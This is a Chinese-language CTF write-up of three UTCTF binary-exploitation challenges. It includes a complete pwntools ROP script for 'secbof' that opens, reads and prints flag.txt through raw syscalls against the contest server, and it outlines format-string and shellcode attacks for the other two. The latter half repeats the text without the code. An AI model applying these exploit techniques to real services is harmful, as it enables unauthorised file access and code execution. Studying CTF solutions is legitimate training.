UTCTF部分题解
字数 1073 2025-08-29 08:30:06

UTCTF部分题解教学文档

secbof题目解析

题目描述

  • 缓冲区溢出漏洞,但带有安全保护
  • Flag存储在"./flag.txt"文件中
  • 需要构造ORW(open-read-write)链读取并输出flag

保护检查

  • 沙盒允许使用open、read、write系统调用
  • 题目是静态编译的,所有函数/寄存器地址可直接获取

解题步骤

  1. 构造open调用

    • 由于没有直接找到open函数地址,需要使用syscall构造
    • 需要将"flag.txt"文件名写入bss段(地址:0x4C82C0)
    • 使用read函数(地址:0x44F8E0)读取用户输入的"flag.txt"到bss段
  2. 寄存器设置

    • rdi寄存器设置(地址:0x000000000040204f)
    • rsi寄存器设置(地址:0x000000000040a0be)
    • rdx/rbx寄存器设置(地址:0x000000000048630b)
    • syscall地址:0x000000000041ae16
    • rax设置(地址:0x0000000000450507)
  3. 远程问题解决

    • 远程环境中read函数需要文件描述符fd=5才能正常工作

利用代码

from pwn import *
context(log_level = 'debug', arch = 'amd64')

p = remote('challenge.utctf.live', 5141)
elf = ELF('./secbof')

# 关键地址
bss = 0x4C82C0
read = 0x44F8E0
write = 0x44F980
rdi = 0x000000000040204f
rsi = 0x000000000040a0be
rdx_rbx = 0x000000000048630b
syscall = 0x000000000041ae16
rax = 0x0000000000450507

# 构造payload
payload = b'a'*0x88  # 填充缓冲区
payload += p64(rdi) + p64(0) + p64(rsi) + p64(bss+0x500) + p64(rdx_rbx) + p64(0x100)*2 + p64(read)  # 读取flag.txt文件名
payload += p64(rdi) + p64(bss+0x500) + p64(rsi) + p64(0) + p64(rax) + p64(2) + p64(syscall)  # open调用
payload += p64(rdi) + p64(5) + p64(rsi) + p64(bss+0x600) + p64(rdx_rbx) + p64(0x100)*2 + p64(read)  # 读取flag内容
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss+0x600) + p64(rdx_rbx) + p64(0x100)*2 + p64(write)  # 输出flag

p.recvuntil(b"Input> ")
p.send(payload)
p.recvuntil("Flag: ")
p.send(b'flag.txt')
p.interactive()

RETirement Plan题目解析

题目描述

  • 无任何保护措施
  • 存在gets函数溢出漏洞
  • 存在格式化字符串漏洞

解题思路

  1. 利用格式化字符串漏洞

    • 泄露栈地址,确定shellcode写入位置
    • 不能用垃圾数据填充多余空间,会导致程序卡死
    • 可以使用bss段地址填充栈
  2. 执行shellcode

    • 将shellcode写入返回地址后面
    • 返回地址+8的位置执行shellcode
    • 替代方案:利用gets函数执行后rax寄存器存储栈空间头地址的特性,通过jmp_rax直接跳转到shellcode

Tic Tac Toe题目解析

题目特点

  • 代码较长但逻辑简单
  • 主要是一系列条件判断
  • 通过所有检查后执行execve获取shell

解题方法

  1. 分析并满足所有条件判断
  2. 通过检查后直接获取shell

总结

  1. secbof

    • 重点在于构造ORW链
    • 注意远程环境中read的特殊要求(fd=5)
    • 静态编译环境下直接使用已知函数地址
  2. RETirement Plan

    • 结合格式化字符串和缓冲区溢出漏洞
    • 注意栈空间填充的特殊要求
    • 考虑寄存器状态对利用的影响
  3. Tic Tac Toe

    • 耐心分析条件判断逻辑
    • 满足所有条件后直接获取shell

这些题目展示了不同场景下的漏洞利用技术,从直接的缓冲区溢出到需要构造复杂ROP链的情况,涵盖了CTF比赛中常见的几种漏洞利用方式。

UTCTF部分题解教学文档 secbof题目解析 题目描述 缓冲区溢出漏洞,但带有安全保护 Flag存储在"./flag.txt"文件中 需要构造ORW(open-read-write)链读取并输出flag 保护检查 沙盒允许使用open、read、write系统调用 题目是静态编译的,所有函数/寄存器地址可直接获取 解题步骤 构造open调用 : 由于没有直接找到open函数地址,需要使用syscall构造 需要将"flag.txt"文件名写入bss段(地址:0x4C82C0) 使用read函数(地址:0x44F8E0)读取用户输入的"flag.txt"到bss段 寄存器设置 : rdi寄存器设置(地址:0x000000000040204f) rsi寄存器设置(地址:0x000000000040a0be) rdx/rbx寄存器设置(地址:0x000000000048630b) syscall地址:0x000000000041ae16 rax设置(地址:0x0000000000450507) 远程问题解决 : 远程环境中read函数需要文件描述符fd=5才能正常工作 利用代码 RETirement Plan题目解析 题目描述 无任何保护措施 存在gets函数溢出漏洞 存在格式化字符串漏洞 解题思路 利用格式化字符串漏洞 : 泄露栈地址,确定shellcode写入位置 不能用垃圾数据填充多余空间,会导致程序卡死 可以使用bss段地址填充栈 执行shellcode : 将shellcode写入返回地址后面 返回地址+8的位置执行shellcode 替代方案:利用gets函数执行后rax寄存器存储栈空间头地址的特性,通过jmp_ rax直接跳转到shellcode Tic Tac Toe题目解析 题目特点 代码较长但逻辑简单 主要是一系列条件判断 通过所有检查后执行execve获取shell 解题方法 分析并满足所有条件判断 通过检查后直接获取shell 总结 secbof : 重点在于构造ORW链 注意远程环境中read的特殊要求(fd=5) 静态编译环境下直接使用已知函数地址 RETirement Plan : 结合格式化字符串和缓冲区溢出漏洞 注意栈空间填充的特殊要求 考虑寄存器状态对利用的影响 Tic Tac Toe : 耐心分析条件判断逻辑 满足所有条件后直接获取shell 这些题目展示了不同场景下的漏洞利用技术,从直接的缓冲区溢出到需要构造复杂ROP链的情况,涵盖了CTF比赛中常见的几种漏洞利用方式。